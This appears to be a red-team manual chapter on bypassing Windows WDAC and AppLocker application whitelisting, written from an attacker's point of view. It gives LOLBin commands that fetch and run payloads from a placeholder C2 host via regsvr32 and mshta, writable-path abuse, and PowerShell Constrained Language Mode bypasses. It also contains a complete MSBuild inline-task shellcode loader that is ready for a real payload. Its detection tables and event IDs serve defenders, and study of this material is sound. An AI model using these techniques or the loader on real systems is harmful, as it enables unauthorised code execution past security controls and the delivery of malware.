WDAC and AppLocker Bypass Techniques
Windows Defender Application Control (WDAC) and AppLocker are application whitelisting technologies that block unsigned or untrusted executables and scripts. An environment with a mature WDAC policy in enforcement mode will block every EXE, DLL, and script that isn't explicitly trusted — which sounds impenetrable. But no policy covers every corner of the Windows application surface. This chapter explains how both technologies work, what they check, what they miss, and the full playbook of bypass techniques ranging from trusted binary abuse (LOLBins) to DLL execution via trusted loaders to policy misconfigurations that leave gaps in coverage.
AppLocker vs WDAC — How They Actually Differ
AppLocker:
─────────────────────────────────────────────────────────────────────────
Component: APPID driver (AppID.sys) in kernel, managed via GPO
Enforcement: Group Policy → AppID service → kernel enforcement
Scope: EXEs, DLLs, Scripts (.ps1, .js, .vbs, .cmd), Installers (.msi)
Logic: Path rules, Hash rules, Publisher (signature) rules
Default mode: Audit mode (logs events, doesn't block)
Bypass risk: HIGH — many known bypasses via LOLBins, DLL rules often disabled
Key weakness: DLL enforcement is DISABLED by default (performance impact)
Scripts can often be bypassed via alternative execution paths
Availability: Windows 10+ Enterprise and Education editions
Logging: Event ID 8004 (blocked), 8007 (blocked DLL)
WDAC (Windows Defender Application Control):
─────────────────────────────────────────────────────────────────────────
Component: CI.dll in kernel — Code Integrity checks at every load
Enforcement: Code signing + configurable policy file (.p7 file)
Scope: ALL user-mode binaries: EXEs, DLLs, drivers (Kernel-mode CI)
Logic: Signature-based, Hash-based, Path-based (less common)
Default mode: Not deployed (must be explicitly configured)
Bypass risk: MEDIUM — harder than AppLocker but still has LOLBin gaps
Key strength: DLL enforcement is ON by default (WDAC covers DLLs)
Script enforcement integrates with AMSI for scripts
Availability: All Windows 10+ editions (but policy deployment needs tools)
Logging: Event ID 3076 (audit), 3077 (blocked)
Key difference summary:
─────────────────────────────────────────────────────────────────────────
• AppLocker is GPO-managed, DLL enforcement off by default → easier to bypass
• WDAC is kernel-level CI, covers DLLs by default → harder but not impossible
• Both allow Microsoft-signed binaries → LOLBin abuse works against both
• WDAC policy can be supplemented with Microsoft's HVCI for stronger protectionWhat Gets Checked and What Doesn't
File type │ AppLocker │ WDAC (default)
─────────────────────────┼──────────────────┼────────────────────────────────────
.exe │ YES │ YES
.dll │ Disabled default │ YES
.msi / .msp │ YES │ YES
.ps1 (PowerShell) │ YES (CLM mode) │ YES (CLM + script enforcement)
.js (JScript) │ YES │ YES (via AMSI integration)
.vbs (VBScript) │ YES │ YES (via AMSI integration)
.bat / .cmd │ YES │ Limited (depends on policy)
.hta │ YES (mshta.exe) │ YES (via mshta.exe control)
Reflective shellcode │ NO │ NO ← cannot be policy-controlled
PE injected into process │ NO │ NO (after initial process allowed)
.NET assemblies │ Partial │ YES (with .NET WDAC integration)
COM scriptlets (.sct) │ Limited │ Limited
─────────────────────────┴──────────────────┴────────────────────────────────────
Critical gaps both share:
─────────────────────────────────────────────────────────────────────────────────
1. LOLBins: Microsoft-signed tools (mshta, rundll32, regsvr32, msbuild)
are trusted by both → can be used to execute arbitrary code
2. Memory-only execution: Once an allowed process is running, shellcode
injected into its memory space is NOT checked by either
3. Trusted installers: MSI packages signed by trusted certificates pass
4. Living-off-the-land scripts: Scripts run via trusted interpreters
(PowerShell in CLM still allows many operations; cmd /c always works)AppLocker Bypass Techniques
Technique 1: LOLBin — Trusted Microsoft Binary
AppLocker allows Microsoft-signed binaries. Abuse them to execute code:
msbuild.exe — executes C# code from an XML project file:
msbuild.exe malicious.xml
(malicious.xml contains an inline task that compiles and runs C#)
regsvr32.exe — executes COM scriptlets:
regsvr32 /s /u /n /i:http://c2/payload.sct scrobj.dll
(Squiblydoo technique — scriptlet from URL)
rundll32.exe — executes DLL exports:
rundll32.exe payload.dll,EntryPoint
mshta.exe — executes HTA files:
mshta.exe http://c2/loader.hta
mshta.exe vbscript:Execute("...")
installutil.exe — .NET code execution:
installutil.exe /logfile= /logtoconsole=false /u payload.dll
PresentationHost.exe — XAML execution:
(loads XAML from a URI — executes in .NET context)
Note: each of these is burned to varying degrees. The most burned:
regsvr32 + URL is detected by virtually every modern security tool.
msbuild is nearly as burned. mshta is highly monitored.
The less-monitored options (PresentationHost, odbcconf) are niche.
Technique 2: Writable Path Allowed by Policy
Common AppLocker misconfiguration: path rules allow C:\Windows\ recursively.
But some subdirectories are writable by standard users:
Writable paths under C:\Windows\ (by default user):
C:\Windows\Tasks\
C:\Windows\tracing\
C:\Windows\System32\spool\PRINTERS\
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys\
C:\Windows\SysWOW64\Tasks\
C:\Windows\debug\WIA\
C:\Windows\System32\Tasks\ (Windows 7/8, patched on later)
If AppLocker has a rule: "Allow all files in C:\Windows\*" →
Placing an EXE in C:\Windows\Tasks\ allows execution.
How to find writable paths under allowed AppLocker paths:
accesschk.exe -w "C:\Windows" -s (Sysinternals)
Or: icacls C:\Windows\Tasks (check for (I)(W) or (M) for current user)
Note: Microsoft has patched many of these over time. Test in lab first.
Technique 3: PowerShell Constrained Language Mode Bypass
When AppLocker/WDAC is active, PowerShell runs in Constrained Language Mode (CLM).
CLM restricts: Add-Type, .NET object creation, COM creation, module loading.
But CLM doesn't restrict: basic cmdlets, file operations, WMI (partially).
CLM bypass approaches:
1. Use a downlevel PS version (if installed):
powershell.exe -Version 2 ...
(PS 2.0 doesn't support CLM — but must be installed)
2. Use a custom runspace (PSHost / API) — invoke PS engine from a signed binary
(complex, requires a trusted loader to host the PS engine)
3. Use WMI to execute code outside PS:
[wmiclass]"Win32_Process").Create("cmd /c ...")
(WMI method invocation often bypasses CLM restrictions)
4. Use a .NET assembly loaded via reflection before CLM enforces:
[System.Reflection.Assembly]::Load($bytes)
(May be blocked by WDAC .NET integration)
WDAC Bypass Techniques
Technique 1: Trusted Binary Code Execution (LOLBins still work)
WDAC allows Microsoft-signed binaries. Same LOLBins as AppLocker work:
msbuild.exe (signed by Microsoft):
msbuild.exe malicious.xml → compiles and executes inline C# code
The inline task itself is not a PE file → WDAC doesn't check it
mshta.exe + VBScript:
mshta.exe http://c2/loader.hta → downloads and executes VBScript
WDAC allows mshta.exe; script content (VBScript) is checked by AMSI,
not WDAC's code integrity policy
wscript.exe + JScript:
wscript.exe payload.js → JScript execution in allowed host
The key insight: WDAC controls what BINARY loads, not what that binary DOES.
A trusted binary executing interpreted code (JScript, VBScript, .NET IL) bypasses
WDAC's signature check because the interpreter is trusted, not the script.
Technique 2: File-less Shellcode After Trusted Process
WDAC checks: does this PE file (EXE/DLL) have a valid signature?
WDAC does NOT check: bytes allocated in memory via VirtualAlloc + CreateThread
Once you have code executing inside a WDAC-trusted process (via any of the above):
VirtualAlloc(RWX) → copy shellcode → CreateThread
No PE file involved = no WDAC code integrity check.
Shellcode injection bypasses WDAC by design — WDAC is a file-loader control,
not a runtime memory execution control.
Relevant only if: (1) you can get to code execution in a trusted process,
and (2) the process isn't constrained by Arbitrary Code Guard (ACG) policy.
ACG prevents RWX memory allocations in a process — but only if specifically
configured, not by default WDAC deployment.
Technique 3: .NET NGEN-Precompiled Assemblies (Niche)
WDAC supplemental policy for .NET:
Some WDAC configurations only check native PE files, not .NET IL assemblies.
NGEN (Native Image Generator) pre-compiles .NET assemblies to native code.
Natively compiled .NET assemblies (in GAC/native image cache) may bypass checks.
This is complex and environment-specific — test per target configuration.
Relevant primarily for .NET Framework 4.x; .NET 5+ native AOT has different behavior.
msbuild.exe Deep Dive — Most Reliable Bypass
MSBuild is the most reliable and most capable LOLBin bypass for both AppLocker and WDAC. An MSBuild project file can contain an inline task — C# code that MSBuild compiles and executes at build time:
<!-- malicious.xml — MSBuild inline task payload -->
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Define the inline task with C# code -->
<UsingTask
TaskName="ExecPayload"
TaskFactory="CodeTaskFactory"
AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<ParameterGroup/>
<Task>
<!-- Additional references needed -->
<Reference Include="System"/>
<Using Namespace="System"/>
<Using Namespace="System.Runtime.InteropServices"/>
<Code Type="Fragment" Language="cs">
<![CDATA[
// Import VirtualAlloc, CreateThread, WaitForSingleObject
[DllImport("kernel32")]
static extern IntPtr VirtualAlloc(
IntPtr a, uint s, uint t, uint p);
[DllImport("kernel32")]
static extern IntPtr CreateThread(
IntPtr a, uint s, IntPtr f, IntPtr p, uint fl, ref uint id);
[DllImport("kernel32")]
static extern uint WaitForSingleObject(IntPtr h, uint t);
// Shellcode: NOP sled + INT3 for testing; replace with real payload
byte[] sc = new byte[] { 0x90, 0x90, 0x90, 0xCC };
// Allocate RWX memory and copy shellcode
IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)sc.Length,
0x1000 | 0x2000, 0x40);
Marshal.Copy(sc, 0, mem, sc.Length);
// Execute
uint tid = 0;
IntPtr ht = CreateThread(IntPtr.Zero, 0, mem, IntPtr.Zero, 0, ref tid);
WaitForSingleObject(ht, 15000);
]]>
</Code>
</Task>
</UsingTask>
<!-- Build target that calls the inline task -->
<Target Name="Build">
<ExecPayload/>
</Target>
</Project>
Execution:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe malicious.xml
Note: msbuild.exe path varies by .NET version. Common paths:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe (x64 .NET 4)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe (x86 .NET 4)
C:\Program Files\Microsoft Visual Studio\...\MSBuild\...\MSBuild.exe (VS)
Detection: msbuild.exe execution from non-build-system context is suspicious.
An endpoint rule: msbuild.exe process creation where parent != devenv.exe or CI/CD
→ high-priority alert in most mature environments.
Detection Footprint
Bypass technique │ Events generated │ Detection rule
─────────────────────────┼───────────────────────────────────────┼─────────────────────────────
msbuild.exe │ Sysmon 1: msbuild.exe spawn │ parent≠VS/CI → HIGH
│ Sysmon 7: csc.exe spawn (C# compile) │ csc.exe outside IDE = suspect
│ Sysmon 1: csc.exe → compiled binary │
mshta.exe + URL │ Sysmon 1: mshta.exe spawn │ mshta + URL argument = HIGH
│ Sysmon 3: mshta.exe → outbound │
regsvr32 + URL │ Sysmon 1: regsvr32.exe spawn │ regsvr32 + /i:http = BURNED
wscript.exe + .js │ Sysmon 1: wscript.exe spawn │ depends on script content
Shellcode injection │ EDR: VirtualAlloc(RWX) in trusted proc │ memory-level detection
AppLocker writable path │ Sysmon 11: file write to C:\Windows\Tasks │ path + creation
│ Sysmon 1: EXE executed from \Tasks\ │
Policy and audit events:
AppLocker block: Event ID 8004 in Microsoft-Windows-AppLocker/EXE and DLL
WDAC audit: Event ID 3076 in Microsoft-Windows-CodeIntegrity/Operational
WDAC block: Event ID 3077 in same log
These events are gold for defenders — they show exactly what was blocked
and provide the hash and path of the attempted file.Questions & Answers
What's the difference between WDAC "audit" mode and "enforcement" mode operationally?
In audit mode, WDAC logs every policy violation (Event ID 3076) but doesn't block anything. The system runs normally. Audit mode is used during rollout to identify legitimate software that would be blocked before enabling enforcement. In enforcement mode, WDAC actually blocks code that doesn't meet the policy (Event ID 3077) — the process refuses to start or the DLL refuses to load. For an attacker: (1) in audit mode, your tools will run but generate events that defenders can review; (2) in enforcement mode, unsigned code simply won't execute and you need a bypass. The presence of 3076 events (audit) without 3077 events (enforcement) tells you the target isn't in enforcement mode yet. Many organizations stay in audit mode indefinitely because the rollout complexity is high.
Can Arbitrary Code Guard (ACG) defeat shellcode injection even after bypassing WDAC?
Yes. ACG (Arbitrary Code Guard) is a process mitigation policy that prevents a process from creating new executable memory pages — it blocks VirtualAlloc(PAGE_EXECUTE_READWRITE) and VirtualProtect calls that try to make pages executable. If ACG is applied to a process (via SetProcessMitigationPolicy or process creation flags), standard shellcode injection into that process fails. However: (1) ACG must be explicitly configured per-process — it's not on by default for most processes; (2) only specific high-value targets (Edge renderer, some Office components) have ACG by default; (3) ACG can be bypassed by injecting pre-existing executable code (code-reuse / ROP chains rather than shellcode) or by targeting processes without ACG. ACG is a meaningful additional defense but not universal.
Does WDAC protect against fileless attacks that only use PowerShell?
WDAC integrates with AMSI to enforce Script Enforcement for PowerShell. When Script Enforcement is enabled in a WDAC policy, PowerShell checks every script block through AMSI before executing. Scripts that contain code to bypass WDAC or load unsigned assemblies are blocked. However, PowerShell in Constrained Language Mode (CLM) is the more common mitigation for fileless PS attacks — CLM prevents Add-Type, System.Reflection.Assembly.Load, and other .NET dynamic loading operations, significantly limiting what PS scripts can do. The combination of WDAC + CLM + Script Enforcement is quite strong. But: mshta.exe with VBScript, wscript.exe with JScript, and msbuild.exe with C# are not governed by CLM and represent remaining bypass paths.
How do I determine what AppLocker/WDAC policy is in effect on a target?
From a running implant (or PowerShell session): Get-AppLockerPolicy -Effective | ConvertTo-Xml to read the AppLocker policy. For WDAC: the effective WDAC policy is stored in binary form in C:\Windows\System32\CodeIntegrity\CiPolicies\Active\ — you can read and parse these files with the CiPolicyParser tool or extract key settings via WMI/registry. PowerShell language mode: $ExecutionContext.SessionState.LanguageMode — if it returns "ConstrainedLanguage", a policy is active. Quick LOLBin test: run msbuild.exe with a benign project file and observe whether it runs or generates Event ID 8004/3077. From a minimal foothold, checking whether common LOLBins execute without errors is the fastest empirical test of what's blocked.